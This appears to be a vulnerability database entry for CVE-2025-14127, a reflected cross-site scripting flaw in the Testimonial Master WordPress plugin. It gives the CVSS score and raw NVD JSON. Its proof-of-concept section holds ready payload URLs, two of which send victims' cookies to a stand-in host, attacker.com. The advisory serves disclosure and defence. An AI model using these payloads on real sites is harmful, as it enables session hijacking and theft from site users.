Security Vulnerability Report
中文
CVE-2025-14127 CVSS 6.1 MEDIUM

CVE-2025-14127

Published: 2026-01-07 12:16:53
Last Modified: 2026-04-15 00:35:42

Description

The Testimonial Master plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Testimonial Master插件 <= 0.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14127 Reflected XSS PoC --> <!-- Target: WordPress Testimonial Master Plugin <= 0.2.1 --> <!-- Attack Vector: Exploitation via $_SERVER['PHP_SELF'] variable --> <!-- Basic Reflected XSS PoC --> PoC URL (replace YOUR_DOMAIN with actual target): https://YOUR_DOMAIN/wp-admin/admin-post.php/"><script>alert('XSS')</script> <!-- Cookie Stealing PoC --> https://YOUR_DOMAIN/wp-admin/admin-post.php/"><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Session Hijacking PoC --> https://YOUR_DOMAIN/wp-admin/admin-post.php/"><img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Key Generation for Testing --> <!-- The vulnerability exists because the plugin fails to sanitize $_SERVER['PHP_SELF'] --> <!-- Before fix: Output contains raw PHP_SELF value without escaping --> <!-- After fix: Output should escape HTML special characters like < > " ' -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14127", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:53.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Testimonial Master plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Testimonial Master para WordPress es vulnerable a Cross-Site Scripting Reflejado a través de la variable `$_SERVER['PHP_SELF']` en todas las versiones hasta la 0.2.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/testimonial-master/tags/0.2.1/php/tm_help_page.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/testimonial-master/trunk/php/tm_help_page.php#L190", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/testimonial-master/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15e65a86-db8e-4a4a-b9c6-c688021a514f?source=cve", "source": "[email protected]"}]}}